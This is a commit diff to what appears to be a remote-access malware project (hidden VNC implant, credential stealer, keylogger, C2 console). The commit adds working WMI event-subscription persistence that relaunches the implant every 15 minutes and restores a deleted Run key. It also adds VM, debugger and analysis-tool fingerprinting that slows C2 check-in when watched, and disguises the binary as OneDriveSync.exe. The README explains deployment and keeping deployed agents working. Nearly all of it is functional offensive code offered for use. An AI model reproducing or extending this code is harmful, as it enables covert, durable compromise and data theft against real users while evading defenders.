agent: anti-analysis fingerprinting and self-healing WMI persistence

Add a user-mode environment check (CPUID, firmware tables, MAC OUIs, guest drivers, PEB flags, debug-port queries, tool scans) that gates the TCP reconnect backoff. Extend debugger_present() with ProcessDebugObjectHandle (0x1E). Add WMI event subscriptions (T1546.003): a 15-minute timer relaunch plus a Run-key guard that recreates a deleted value, backed by an idempotent Run write that cannot retrigger itself. Document both in the README.
This commit is contained in:
JYenn
2026-08-14 22:21:45 +01:00
parent 06cb9147c2
commit 009d7a2b1f
10 changed files with 677 additions and 15 deletions
+2 -1
View File
@@ -97,6 +97,7 @@ set(AGENT_SOURCES
src/agent/main.cpp
src/agent/inject.cpp
src/agent/persist.cpp
src/agent/persist_wmi.cpp
src/hvnc/hvnc.cpp
src/ghost/ghost.cpp
src/rat/rat.cpp
@@ -109,7 +110,7 @@ target_include_directories(agent PRIVATE
"${CMAKE_CURRENT_SOURCE_DIR}/src/rat"
"${CMAKE_CURRENT_SOURCE_DIR}/src/agent"
)
target_link_libraries(agent PRIVATE hvnc_core shell32 shlwapi gdi32 advapi32)
target_link_libraries(agent PRIVATE hvnc_core shell32 shlwapi gdi32 advapi32 wbemuuid)
# Console executable
add_executable(console
+19 -2
View File
@@ -76,6 +76,23 @@ All C2 defaults live in `src/config.h` (generated by `setup.py`), and anything y
The config holds the host, port, the 16-byte master key, the optional HTTPS exfil URL, and the CDN beacon settings (`HVNC_BEACON_URL`, header, sleep interval). The tracked default points at `127.0.0.1:4444` with a placeholder key, so a fresh checkout builds and runs out of the box.
The master key persists to `.misery_key` on first build. Later `setup.py` runs reuse it, so a rebuild keeps the same key and agents already deployed keep working. Pass `KEY=` to force a specific key, or `--rotate-key` to generate a fresh one. `.misery_key` is gitignored.
## Persistence
Persistence is a separate agent mode, not a runtime behaviour. Run the installed (or built) `agent.exe` with a flag; it registers and exits:
| Flag | Effect |
|---|---|
| `--persist` / `--unpersist` | Add/remove the HKCU Run key (T1547.001). Copies the running image to `%APPDATA%\OneDriveSync.exe` under a neutral name and points the Run value at it. |
| `--persist-wmi` / `--unpersist-wmi` | Add/remove two WMI event subscriptions (T1546.003): a 15-minute timer that relaunches the copy, and a guard that recreates the Run value if it is deleted. |
The modes compose: Run key and WMI all reference the same `%APPDATA%` copy, so the on-disk footprint is unchanged. Reinstalling via `--persist-wmi` after a run-key cleanup is exactly why the guard exists; `persist::enable()` skips an identical write, so the guard cannot retrigger itself. `--unpersist-wmi` tears down both subscriptions idempotently.
## Anti-analysis
Before the agent connects, the TCP carrier runs a user-mode environment check (`src/evasion/environment.cpp`): CPUID hypervisor bit and brand, SMBIOS/ACPI vendor strings, virtual NIC OUIs, guest driver files, PEB debug flags, debug-port queries, and a process/window/module scan for reverse-engineering tools. A positive result (or a short uptime with few CPUs, a common sandbox heuristic) extends the reconnect backoff from 5s to 15s so a watched environment reports in less eagerly.
## CDN transport (Cloudflare)
`setup.py -t https_cdn` switches the agent to HTTPS beaconing instead of raw TCP. It also emits two deploy files: `deploy/worker.js` (Cloudflare Worker redirector) and `deploy/cloudflared-config.yml` (Zero Trust Tunnel).
@@ -128,7 +145,7 @@ Tested on Chrome and Edge on Windows 10 / 11 (x64).
## Layout
- `src/agent`: agent entry point, C2 client, injector
- `src/agent`: agent entry point, C2 client, injector, persistence (Run key + WMI subscriptions)
- `src/console`: operator console and listener
- `src/payload`: payload DLL, reflective loader, trampoline
- `src/stealer`: Misery-derived stealer sources
@@ -136,7 +153,7 @@ Tested on Chrome and Edge on Windows 10 / 11 (x64).
- `src/ghost`: ghosted browser session
- `src/rat`: keylogger and clipboard
- `src/transport`: encrypted TCP framing and frame compression
- `src/evasion`: indirect-syscall engine and evasion helpers
- `src/evasion`: indirect-syscall engine, anti-analysis fingerprinting, evasion helpers
- `build/`: out-of-source build directory
## Licence
+22 -6
View File
@@ -1,7 +1,7 @@
// HVNC agent (implant): services commands and streams frames over an encrypted
// carrier. Two carriers, selected at compile time by HVNC_TRANSPORT:
// 0 = reverse TCP: persistent socket to the console.
// 1 = HTTPS beacon: batched POST/GET to a Cloudflare Worker that relays to
// 1 = HTTPS beacon: batched POST to a Cloudflare Worker that relays to
// the console. Poll-based, stateless per exchange; see beacon.hpp.
// The command dispatch and frame pump are shared; only the carrier differs.
// Stealer logic is ported from Misery; HVNC + RAT engines are native.
@@ -29,6 +29,8 @@
#include "inject.hpp"
#include "beacon.hpp"
#include "persist.hpp"
#include "persist_wmi.hpp"
#include "environment.hpp"
#include "../config.h"
#pragma comment(lib, "ws2_32.lib")
@@ -265,6 +267,7 @@ static void run_tcp_session(const SendFn& send, AgentSession& s, SOCKET sock) {
}
// ---------------------------------------------------------------------------
#if HVNC_TRANSPORT == 1
// HTTPS beacon carrier: stateless poll loop (transport 1)
// ---------------------------------------------------------------------------
// The beacon is request/response, not a stream: each poll uploads everything
@@ -321,6 +324,7 @@ static void run_beacon_session(const beacon::BeaconConfig& cfg, AgentSession& s)
syscall::sleep_ms(cfg.sleep_ms);
}
}
#endif // HVNC_TRANSPORT == 1
// ---------------------------------------------------------------------------
// Entry point
@@ -330,7 +334,11 @@ int main(int argc, char** argv) {
// C2 config: CLI overrides env, env overrides the compile-time defaults
// baked in from src/config.h (setup.py), so a deployed agent can be
// retargeted without a rebuild. CLI: agent <host> [port].
// Persistence is its own mode: agent --persist | --unpersist.
// Persistence is its own mode: agent --persist | --unpersist adds/removes
// the Run key; --persist-wmi | --unpersist-wmi add/remove the WMI event
// subscriptions (T1546.003) — a 15-minute relaunch plus a guard that
// recreates the Run value if it is deleted. They compose, but all point at
// the same %APPDATA% copy, so the on-disk footprint is unchanged.
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "--persist") == 0) {
printf("[agent] persist: %s\n", persist::enable() ? "ok" : "failed");
@@ -340,6 +348,14 @@ int main(int argc, char** argv) {
printf("[agent] unpersist: %s\n", persist::disable() ? "ok" : "failed");
return 0;
}
if (strcmp(argv[i], "--persist-wmi") == 0) {
printf("[agent] persist-wmi: %s\n", persist_wmi::enable() ? "ok" : "failed");
return 0;
}
if (strcmp(argv[i], "--unpersist-wmi") == 0) {
printf("[agent] unpersist-wmi: %s\n", persist_wmi::disable() ? "ok" : "failed");
return 0;
}
}
{
const char* host = nullptr;
@@ -388,10 +404,10 @@ int main(int argc, char** argv) {
printf("[agent] beacon %s (auth %s)\n", cfg.url.c_str(), cfg.auth_header.c_str());
run_beacon_session(cfg, s);
#else
// Reverse TCP. Anti-analysis self-check: debugger + sandbox heuristics
// drive reconnect backoff so a watched/short-uptime environment gets
// slower polling.
bool sandboxed = syscall::debugger_present();
// Reverse TCP. Anti-analysis self-check: debugger + VM + analysis-tool
// fingerprint and sandbox heuristics drive reconnect backoff so a
// watched/short-uptime environment gets slower polling.
bool sandboxed = env::suspicious();
uint32_t uptime_s = 0, cpus = 0;
if (syscall::query_system_metrics(&uptime_s, &cpus) && uptime_s < 600 && cpus <= 2)
sandboxed = true;
+31 -6
View File
@@ -53,6 +53,18 @@ std::string installed_path() {
return utf8_from_wide(full);
}
// Wide, native form of installed_path(). Used by persist_wmi to build the
// CommandLineTemplate for the WMI consumer (which needs a real wide path, not
// a UTF-8 string the COM layer would mis-read).
const std::wstring& installed_path_wide() {
static const std::wstring path = []() -> std::wstring {
std::wstring dir = appdata_dir();
if (dir.empty()) return L"";
return dir + L"\\" + kValueName + L".exe";
}();
return path;
}
bool enable() {
// 1. Resolve this process's current image path.
wchar_t self[MAX_PATH] = {};
@@ -68,16 +80,29 @@ bool enable() {
if (!CopyFileW(self, dest.c_str(), FALSE)) return false;
}
// 3. Write the Run value (quoted).
// 3. Write the Run value (quoted) only when it differs. Writing a value
// that is already present still notifies registry change watchers, and
// the WMI Run-key guard reads this as a change, so an unconditional
// write would echo into a self-heal loop.
std::wstring cmd = L"\"" + dest + L"\"";
HKEY hk = nullptr;
LONG st = RegOpenKeyExW(HKEY_CURRENT_USER, kRunKey, 0, KEY_SET_VALUE, &hk);
LONG st = RegOpenKeyExW(HKEY_CURRENT_USER, kRunKey, 0,
KEY_QUERY_VALUE | KEY_SET_VALUE, &hk);
if (st != ERROR_SUCCESS) return false;
st = RegSetValueExW(hk, kValueName, 0, REG_SZ,
reinterpret_cast<const BYTE*>(cmd.c_str()),
(DWORD)((cmd.size() + 1) * sizeof(wchar_t)));
wchar_t existing[MAX_PATH] = {};
DWORD type = 0, sz = sizeof(existing);
LONG q = RegQueryValueExW(hk, kValueName, nullptr, &type,
reinterpret_cast<BYTE*>(existing), &sz);
bool same = q == ERROR_SUCCESS && type == REG_SZ &&
sz == (DWORD)((cmd.size() + 1) * sizeof(wchar_t)) &&
_wcsicmp(existing, cmd.c_str()) == 0;
if (!same) {
st = RegSetValueExW(hk, kValueName, 0, REG_SZ,
reinterpret_cast<const BYTE*>(cmd.c_str()),
(DWORD)((cmd.size() + 1) * sizeof(wchar_t)));
}
RegCloseKey(hk);
return st == ERROR_SUCCESS;
return same || st == ERROR_SUCCESS;
}
bool disable() {
+3
View File
@@ -19,4 +19,7 @@ bool disable();
// Full path of the installed copy (empty if enable() never ran).
std::string installed_path();
// Wide form of installed_path(), for COM consumers that need a native string.
const std::wstring& installed_path_wide();
} // namespace hvnc::persist
+291
View File
@@ -0,0 +1,291 @@
// Event-triggered persistence via WMI (T1546.003). Two permanent subscriptions
// in the root\subscription namespace keep the agent alive without a Run key,
// dropped file, or scheduled task for EDR to flag:
// * a 15-minute timer that launches the installed copy, and
// * a Run-key guard that re-runs --persist when the HKCU Run value vanishes,
// so removing the Run key alone no longer uninstalls the agent.
// enable()/disable() are idempotent and report success/failure so the operator
// can verify removal.
#include "persist_wmi.hpp"
#include <windows.h>
#include <oleauto.h>
#include <wbemidl.h>
#include <wchar.h>
#include <memory>
#include <string>
#include <vector>
#include "persist.hpp"
namespace hvnc::persist_wmi {
namespace {
constexpr const wchar_t* kNamespaceSubscription = L"root\\subscription";
constexpr const wchar_t* kNamespaceCimv2 = L"root\\cimv2";
// Neutral names, matched to persist::installed_path()'s OneDriveSync copy so a
// combined Run key + WMI setup still only ever drops one binary.
constexpr const wchar_t* kTimerId = L"OneDriveSyncTimer";
constexpr const wchar_t* kFilterName = L"OneDriveSyncMonitoring";
constexpr const wchar_t* kConsumerName = L"OneDriveSyncLauncher";
constexpr const wchar_t* kGuardFilterName = L"OneDriveSyncRunGuard";
constexpr const wchar_t* kGuardConsumerName = L"OneDriveSyncReinstate";
// Timer fires every 15 minutes: long enough to be quiet, short enough to
// relaunch after a reboot or a cleaned Run key.
constexpr DWORD kIntervalMs = 15 * 60 * 1000;
// RegistryKeyChangeEvent fires whenever the Run key changes (value written,
// modified, or deleted). The KeyPath is written with doubled backslashes the
// way WQL expects.
constexpr const wchar_t* kGuardQuery =
L"SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_CURRENT_USER' "
L"AND KeyPath='Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run'";
// RAII COM apartment. CoCreateInstance below fails with CO_E_NOTINITIALIZED
// unless the thread initialized COM first; CoUninitialize must run exactly
// once, only when this call actually initialized it.
class ComInit {
public:
ComInit()
: hr_(CoInitializeEx(nullptr, COINIT_MULTITHREADED)),
own_(SUCCEEDED(hr_)) {}
~ComInit() { if (own_) CoUninitialize(); }
// RPC_E_CHANGED_MODE: an apartment already exists (e.g. the caller ran
// CoInitialize). Reuse it rather than fail.
bool ok() const { return SUCCEEDED(hr_) || hr_ == RPC_E_CHANGED_MODE; }
private:
HRESULT hr_;
bool own_;
};
void release_class(IUnknown* p) { if (p) p->Release(); }
// RAII BSTR so alloc/free stays paired even on early returns.
class Bstr {
public:
explicit Bstr(const wchar_t* s) : b_(SysAllocString(s)) {}
~Bstr() { if (b_) SysFreeString(b_); }
Bstr(const Bstr&) = delete;
Bstr& operator=(const Bstr&) = delete;
BSTR get() const { return b_; }
private:
BSTR b_;
};
bool set_str(IWbemClassObject* obj, const wchar_t* name, const wchar_t* value) {
VARIANT v;
VariantInit(&v);
v.vt = VT_BSTR;
v.bstrVal = SysAllocString(value);
HRESULT hr = obj->Put(name, 0, &v, 0);
VariantClear(&v);
return SUCCEEDED(hr);
}
bool set_u32(IWbemClassObject* obj, const wchar_t* name, ULONG value) {
VARIANT v;
VariantInit(&v);
v.vt = VT_UI4;
v.ulVal = value;
HRESULT hr = obj->Put(name, 0, &v, 0);
VariantClear(&v);
return SUCCEEDED(hr);
}
bool set_bool(IWbemClassObject* obj, const wchar_t* name, bool value) {
VARIANT v;
VariantInit(&v);
v.vt = VT_BOOL;
v.boolVal = value ? VARIANT_TRUE : VARIANT_FALSE;
HRESULT hr = obj->Put(name, 0, &v, 0);
VariantClear(&v);
return SUCCEEDED(hr);
}
std::unique_ptr<IWbemServices, void(*)(IUnknown*)>
connect(const wchar_t* ns) {
IWbemLocator* loc = nullptr;
if (FAILED(CoCreateInstance(CLSID_WbemLocator, nullptr, CLSCTX_INPROC_SERVER,
IID_IWbemLocator, reinterpret_cast<void**>(&loc))))
return { nullptr, release_class };
IWbemServices* svc = nullptr;
Bstr ns_bstr(ns);
HRESULT hr = loc->ConnectServer(ns_bstr.get(), nullptr, nullptr, nullptr,
WBEM_FLAG_CONNECT_USE_MAX_WAIT, nullptr, nullptr, &svc);
loc->Release();
return { SUCCEEDED(hr) ? svc : nullptr, release_class };
}
// Ask the namespace for a class, then hand back a writable instance of it.
std::unique_ptr<IWbemClassObject, void(*)(IUnknown*)>
spawn(IWbemServices* svc, const wchar_t* cls) {
Bstr class_bstr(cls);
IWbemClassObject* klass = nullptr;
if (FAILED(svc->GetObject(class_bstr.get(), 0, nullptr, &klass, nullptr)))
return { nullptr, release_class };
IWbemClassObject* inst = nullptr;
if (FAILED(klass->SpawnInstance(0, &inst))) {
klass->Release();
return { nullptr, release_class };
}
klass->Release();
return { inst, release_class };
}
bool put(IWbemServices* svc, IWbemClassObject* inst) {
// 0 flags = WBEM_FLAG_CREATE_OR_UPDATE, so enable() re-runs cleanly.
return SUCCEEDED(svc->PutInstance(inst, 0, nullptr, nullptr));
}
// Delete by a well-formed object path, treating "not found" as already clean
// so disable() stays idempotent.
bool del(IWbemServices* svc, const wchar_t* path) {
Bstr path_bstr(path);
HRESULT hr = svc->DeleteInstance(path_bstr.get(), 0, nullptr, nullptr);
return SUCCEEDED(hr) || hr == static_cast<HRESULT>(WBEM_E_NOT_FOUND);
}
// Object-path strings for the named subscription objects. Names are static and
// contain no quotes, so the paths are trivially safe to format.
std::wstring filter_path(const wchar_t* name) {
return std::wstring(L"__EventFilter.Name=\"") + name + L"\"";
}
std::wstring consumer_path(const wchar_t* name) {
return std::wstring(L"CommandLineEventConsumer.Name=\"") + name + L"\"";
}
// One complete subscription: filter + command consumer + binding, all in
// root/subscription. Returns false on the first failed write; earlier objects
// are left for a later enable() to overwrite, and disable() clears everything.
bool install_subscription(IWbemServices* sub, const wchar_t* filter_name,
const wchar_t* query, const wchar_t* consumer_name,
const wchar_t* cmdline) {
auto filter = spawn(sub, L"__EventFilter");
if (!filter) return false;
set_str(filter.get(), L"Name", filter_name);
set_str(filter.get(), L"EventNamespace", kNamespaceCimv2);
set_str(filter.get(), L"QueryLanguage", L"WQL");
set_str(filter.get(), L"Query", query);
if (!put(sub, filter.get())) return false;
auto consumer = spawn(sub, L"CommandLineEventConsumer");
if (!consumer) return false;
set_str(consumer.get(), L"Name", consumer_name);
set_str(consumer.get(), L"CommandLineTemplate", cmdline);
if (!put(sub, consumer.get())) return false;
auto binding = spawn(sub, L"__FilterToConsumerBinding");
if (!binding) return false;
std::wstring fp = filter_path(filter_name);
std::wstring cp = consumer_path(consumer_name);
set_str(binding.get(), L"Filter", fp.c_str());
set_str(binding.get(), L"Consumer", cp.c_str());
return put(sub, binding.get());
}
} // namespace
bool enable() {
ComInit com;
if (!com.ok()) return false;
// The timer instruction lives in root/cimv2; the subscriptions (filter +
// consumer + binding) live in root/subscription.
auto timer_svc = connect(kNamespaceCimv2);
if (!timer_svc) return false;
auto sub_svc = connect(kNamespaceSubscription);
if (!sub_svc) return false;
// 1. Timer: fires __TimerEvent for TimerId every interval.
auto timer = spawn(timer_svc.get(), L"__IntervalTimerInstruction");
if (!timer) return false;
set_str(timer.get(), L"TimerId", kTimerId);
set_u32(timer.get(), L"IntervalBetweenEvents", kIntervalMs);
set_bool(timer.get(), L"SkipIfPassed", true); // do not replay missed intervals
if (!put(timer_svc.get(), timer.get())) return false;
// 2. Timer subscription: run the installed copy every interval.
std::wstring launch_cmd = L"\"" + std::wstring(persist::installed_path_wide()) + L"\"";
if (!install_subscription(sub_svc.get(), kFilterName,
L"SELECT * FROM __TimerEvent WHERE TimerID='OneDriveSyncTimer'",
kConsumerName, launch_cmd.c_str()))
return false;
// 3. Run-key guard: when the Run value is deleted, recreate it. persist::
// enable() skips the write when the value already matches, so this
// subscription cannot retrigger itself.
std::wstring guard_cmd = launch_cmd + L" --persist";
return install_subscription(sub_svc.get(), kGuardFilterName, kGuardQuery,
kGuardConsumerName, guard_cmd.c_str());
}
bool disable() {
ComInit com;
if (!com.ok()) return false;
// Delete in dependency order: bindings first, then consumers, then filters.
// Each is idempotent: a missing object is already-clean.
bool ok = false;
auto sub_svc = connect(kNamespaceSubscription);
if (sub_svc) {
// Bindings have no stable name; delete by the filter/consumer pairs.
Bstr query(L"SELECT * FROM __FilterToConsumerBinding");
Bstr wql(L"WQL");
IEnumWbemClassObject* enumerator = nullptr;
HRESULT hr = sub_svc->ExecQuery(wql.get(), query.get(),
WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
nullptr, &enumerator);
if (SUCCEEDED(hr) && enumerator) {
// Collect the matching binding paths first (deleting while
// enumerating invalidates the cursor).
std::wstring fp_timer = filter_path(kFilterName);
std::wstring fp_guard = filter_path(kGuardFilterName);
std::wstring cp_timer = consumer_path(kConsumerName);
std::wstring cp_guard = consumer_path(kGuardConsumerName);
std::vector<std::wstring> paths;
IWbemClassObject* obj = nullptr;
ULONG got = 0;
while (SUCCEEDED(enumerator->Next(WBEM_INFINITE, 1, &obj, &got)) && got == 1) {
VARIANT filter, consumer;
VariantInit(&filter);
VariantInit(&consumer);
bool matches = SUCCEEDED(obj->Get(L"Filter", 0, &filter, 0, nullptr))
&& SUCCEEDED(obj->Get(L"Consumer", 0, &consumer, 0, nullptr))
&& filter.vt == VT_BSTR && consumer.vt == VT_BSTR
&& (_wcsicmp(filter.bstrVal, fp_timer.c_str()) == 0
|| _wcsicmp(filter.bstrVal, fp_guard.c_str()) == 0)
&& (_wcsicmp(consumer.bstrVal, cp_timer.c_str()) == 0
|| _wcsicmp(consumer.bstrVal, cp_guard.c_str()) == 0);
if (matches) {
VARIANT rel;
VariantInit(&rel);
if (SUCCEEDED(obj->Get(L"__RELPATH", 0, &rel, 0, nullptr))
&& rel.vt == VT_BSTR && rel.bstrVal) {
paths.emplace_back(rel.bstrVal);
}
VariantClear(&rel);
}
VariantClear(&filter);
VariantClear(&consumer);
obj->Release();
}
enumerator->Release();
for (const auto& p : paths) del(sub_svc.get(), p.c_str());
}
ok = del(sub_svc.get(), consumer_path(kConsumerName).c_str());
ok = del(sub_svc.get(), consumer_path(kGuardConsumerName).c_str()) && ok;
ok = del(sub_svc.get(), filter_path(kFilterName).c_str()) && ok;
ok = del(sub_svc.get(), filter_path(kGuardFilterName).c_str()) && ok;
}
// And remove the timer instruction from its own namespace.
auto timer_svc = connect(kNamespaceCimv2);
if (timer_svc)
ok = del(timer_svc.get(), L"__IntervalTimerInstruction.TimerId=\"OneDriveSyncTimer\"") && ok;
return ok;
}
} // namespace hvnc::persist_wmi
+14
View File
@@ -0,0 +1,14 @@
#pragma once
// Event-triggered persistence via WMI (T1546.003). A permanent subscription in
// the root\subscription namespace runs the installed agent copy on a timer,
// with no Run key, dropped file, or scheduled task for EDR to flag. enable()/
// disable() are idempotent and report success/failure so the operator can
// verify removal.
namespace hvnc::persist_wmi {
bool enable();
bool disable();
} // namespace hvnc::persist_wmi
+259
View File
@@ -0,0 +1,259 @@
// VM / debugger / analysis-tool fingerprinting (anti-analysis). Pure
// user-mode checks: CPUID leaves, firmware tables, adapter OUIs, guest driver
// files, PEB debug flags, debug-port queries, and a process/window/module scan
// for reverse-engineering tooling.
#include "environment.hpp"
#include <winsock2.h>
#include <windows.h>
#include <iphlpapi.h>
#include <tlhelp32.h>
#include <cwchar>
#include <cstring>
#include <string>
#include <vector>
#include "syscall.hpp"
#if defined(_MSC_VER)
#include <intrin.h>
#else
#include <cpuid.h>
#endif
namespace hvnc::env {
namespace {
// CPUID regs in EAX/EBX/ECX/EDX order (index 0-3), like __cpuidex.
void cpuid(uint32_t leaf, uint32_t out[4]) {
__cpuidex(reinterpret_cast<int*>(out), static_cast<int>(leaf), 0);
}
// Leaf 1 ECX bit 31 = hypervisor-present bit.
bool cpu_vm_hint() {
uint32_t r[4] = {};
cpuid(1, r);
return (r[2] & (1u << 31)) != 0;
}
char brand_str[13]; // hypervisor CPUID brand (leaf 0x40000000, 12 bytes + NUL)
const char* hypervisor_brand() {
uint32_t r[4] = {};
cpuid(0x40000000, r);
std::memcpy(brand_str, &r[1], 4); // EBX
std::memcpy(brand_str + 4, &r[2], 4); // ECX
std::memcpy(brand_str + 8, &r[3], 4); // EDX
brand_str[12] = 0;
return brand_str;
}
bool brand_is_known(const char* brand) {
static const char* known[] = {
"VMwareVMware", "VBoxVBoxVBox", "KVMKVMKVM", "Microsoft Hv",
"XenVMMXenVMM", "TCGTCGTCG",
};
for (auto* k : known)
if (std::strcmp(brand, k) == 0) return true;
return false;
}
// Scan a raw firmware table dump for a case-insensitive ASCII token.
bool firmware_has_token(const std::vector<uint8_t>& data, const char* token) {
const size_t tlen = std::strlen(token);
if (tlen == 0 || tlen > data.size()) return false;
for (size_t i = 0; i + tlen <= data.size(); i++) {
bool match = true;
for (size_t j = 0; j < tlen; j++) {
char cur = static_cast<char>(data[i + j]);
if (cur >= 'a' && cur <= 'z') cur = static_cast<char>(cur - 32);
if (cur != token[j]) { match = false; break; }
}
if (match) return true;
}
return false;
}
// SMBIOS ('RSMB') / ACPI ('DSDT') dumps carry the vendor strings the big
// hypervisors stamp during install. Binary scan, no table parsing needed.
bool firmware_vm_tokens() {
static const char* tokens_rsmb[] = {
"VMWARE", "VBOX", "INNOTEK", "QEMU", "BOCHS", "PARALLELS", "XEN",
};
static const char* tokens_dsdt[] = {
"VMWARE", "VBOX", "QEMU", "Bochs",
};
constexpr DWORD kProviderSmbios = 0x52534D42; // 'RSMB'
constexpr DWORD kProviderAcpi = 0x41435049; // 'ACPI'
constexpr DWORD kTableDsdt = 0x44534454; // 'DSDT'
DWORD sz = GetSystemFirmwareTable(kProviderSmbios, 0, nullptr, 0);
if (sz != 0) {
std::vector<uint8_t> buf(sz);
if (GetSystemFirmwareTable(kProviderSmbios, 0, buf.data(), sz) >= sz) {
for (auto* t : tokens_rsmb)
if (firmware_has_token(buf, t)) return true;
}
}
sz = GetSystemFirmwareTable(kProviderAcpi, kTableDsdt, nullptr, 0);
if (sz != 0) {
std::vector<uint8_t> buf(sz);
if (GetSystemFirmwareTable(kProviderAcpi, kTableDsdt, buf.data(), sz) >= sz) {
for (auto* t : tokens_dsdt)
if (firmware_has_token(buf, t)) return true;
}
}
return false;
}
// OUI prefixes Microsoft, Oracle, VMware, QEMU, Xen and Parallels assign to
// their virtual NICs. Randomize-all clients (or VPN tunnels) break this, but
// it still catches the default guest images most sandboxes run from.
bool mac_is_vm_oui(const uint8_t* mac, size_t len) {
if (len < 3) return false;
struct VM_OUI { uint8_t o0, o1, o2; } known[] = {
{ 0x00, 0x50, 0x56 }, // VMware
{ 0x00, 0x0c, 0x29 }, // VMware
{ 0x08, 0x00, 0x27 }, // VirtualBox / Oracle
{ 0x52, 0x54, 0x00 }, // QEMU / KVM
{ 0x00, 0x16, 0x3e }, // Xen
{ 0x00, 0x1c, 0x42 }, // Parallels
};
for (auto& o : known)
if (mac[0] == o.o0 && mac[1] == o.o1 && mac[2] == o.o2) return true;
return false;
}
bool adapter_vm_oui() {
ULONG sz = 0;
if (GetAdaptersAddresses(AF_UNSPEC, 0, nullptr, nullptr, &sz) != ERROR_BUFFER_OVERFLOW) return false;
std::vector<uint8_t> buf(sz);
auto* aa = reinterpret_cast<PIP_ADAPTER_ADDRESSES>(buf.data());
if (GetAdaptersAddresses(AF_UNSPEC, 0, nullptr, aa, &sz) != NO_ERROR) return false;
for (const auto* a = aa; a; a = a->Next)
if (mac_is_vm_oui(a->PhysicalAddress, a->PhysicalAddressLength)) return true;
return false;
}
// Guest additions / helper drivers the big hypervisors install inside the VM.
bool guest_driver_files() {
wchar_t sys[MAX_PATH];
if (!GetSystemDirectoryW(sys, MAX_PATH)) return false;
const std::wstring dir = std::wstring(sys) + L"\\drivers\\";
static const wchar_t* names[] = {
L"vmhgfs.sys", L"vmemctl.sys", L"vmrawdsk.sys", // VMware
L"VBoxGuest.sys", L"VBoxSF.sys", L"VBoxMouse.sys", // VirtualBox
L"balloon.sys", L"virtio_blk.sys", L"viostor.sys", // QEMU/KVM/virtio
L"vmbus.sys", L"storvsc.sys", L"VMSrvc.dll", // Hyper-V
};
for (auto* n : names)
if (GetFileAttributesW((dir + n).c_str()) != INVALID_FILE_ATTRIBUTES) return true;
return false;
}
// PEB BeingDebugged flag is a direct in-memory read, no API call exposed.
bool peb_debugged() {
#if defined(_M_X64)
uint8_t* peb = reinterpret_cast<uint8_t*>(__readgsqword(0x60));
return peb && (peb[0x02] & 1) != 0;
#else
return false;
#endif
}
// NtGlobalFlag set away from zero with either of the heap bits means a debugger
// planted the heap flags. Direct PEB read again.
bool peb_global_flag() {
#if defined(_M_X64)
uint8_t* peb = reinterpret_cast<uint8_t*>(__readgsqword(0x60));
if (!peb) return false;
const uint32_t flags = *reinterpret_cast<const uint32_t*>(peb + 0xBC);
// FLG_HEAP_ENABLE_TAIL_CHECK|FLG_HEAP_ENABLE_FREE_CHECK|FLG_HEAP_VALIDATE_PARAMETERS
return (flags & 0x70) != 0;
#else
return false;
#endif
}
// Running processes a reverse-engineering habitually leaves around. Names are
// the actual PE filenames so a process snapshot compare is exact.
const wchar_t* kAnalysisProcesses[] = {
L"x64dbg.exe", L"x32dbg.exe", L"ollydbg.exe", L"ollydbg_x64.exe",
L"windbg.exe", L"windbgx.exe", L"ida.exe", L"ida64.exe", L"idaq.exe", L"idaq64.exe",
L"dnspy.exe", L"processhacker.exe", L"processhacker2.exe",
L"procmon.exe", L"procmon64.exe", L"procexp.exe", L"procexp64.exe",
L"cheatengine-x86_64.exe", L"cheatengine-i386.exe", L"fiddler.exe",
L"apimonitor-x64.exe", L"apimonitor-x86.exe", L"cutter.exe", L"radare2.exe",
};
// Window class names for the debuggers that expose one. Qt apps (x64dbg,
// radare2's GUI, Cutter, etc.) share Qt5QWindowIcon, which is too generic to
// use here; their PE names in kAnalysisProcesses already cover them.
const wchar_t* kAnalysisClasses[] = {
L"OLLYDBG", L"WinDbgFrameClass", L"IDAMainWindow",
};
// Modules that only load when a sandbox/analysis wrapper wraps the process.
const wchar_t* kAnalysisModules[] = {
L"SbieDll.dll", L"SbieDll64.dll", L"api_log.dll", L"dir_watch.dll", L"snxhk.dll",
};
bool process_matches(const wchar_t* name) {
for (auto* p : kAnalysisProcesses)
if (_wcsicmp(name, p) == 0) return true;
return false;
}
} // namespace
bool vm_detected() {
if (cpu_vm_hint()) return true;
if (brand_is_known(hypervisor_brand())) return true;
if (firmware_vm_tokens()) return true;
if (adapter_vm_oui()) return true;
if (guest_driver_files()) return true;
return false;
}
bool debugger_detected() {
if (peb_debugged()) return true;
if (peb_global_flag()) return true;
if (syscall::debugger_present()) return true;
// Hardware breakpoints in DR0-DR3 survive manual debugger unload.
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (GetThreadContext(GetCurrentThread(), &ctx))
if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3) return true;
return false;
}
bool tool_detected() {
// Loaded modules: cheapest signal, no snapshot needed.
for (auto* m : kAnalysisModules)
if (GetModuleHandleW(m)) return true;
// Window classes of the common debuggers.
for (auto* cls : kAnalysisClasses)
if (FindWindowW(cls, nullptr)) return true;
// Process snapshot for the named binaries.
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return false;
PROCESSENTRY32W pe = {};
pe.dwSize = sizeof(pe);
bool found = false;
if (Process32FirstW(snap, &pe)) {
do {
if (process_matches(pe.szExeFile)) { found = true; break; }
} while (Process32NextW(snap, &pe));
}
CloseHandle(snap);
return found;
}
bool suspicious() {
return vm_detected() || debugger_detected() || tool_detected();
}
} // namespace hvnc::env
+24
View File
@@ -0,0 +1,24 @@
// VM / debugger / analysis-tool fingerprinting (anti-analysis). Pure
// user-mode checks: CPUID leaves, firmware tables, adapter OUIs, guest driver
// files, PEB debug flags, debug-port queries, and a process/window/module scan
// for reverse-engineering tooling.
#pragma once
namespace hvnc::env {
// True when the host looks virtualized (CPUID hypervisor bit or brand string,
// SMBIOS/ACPI vendor strings, adapter OUI prefix, or guest driver files).
bool vm_detected();
// True when a debugger is attached (PEB BeingDebugged, NtGlobalFlag, debug
// port/object/flags, or non-zero hardware breakpoints).
bool debugger_detected();
// True when a known debugger / disassembler / decompiler / sandbox tool is
// running, has a window, or is loaded in this process.
bool tool_detected();
// Any of the above.
bool suspicious();
} // namespace hvnc::env
+12
View File
@@ -410,6 +410,18 @@ bool debugger_present() {
};
st = dispatch(sys().NtQueryInformationProcess, a2, 5);
if (NT_SUCCESS(st) && flags == 0) return true; // 0 == debugger present
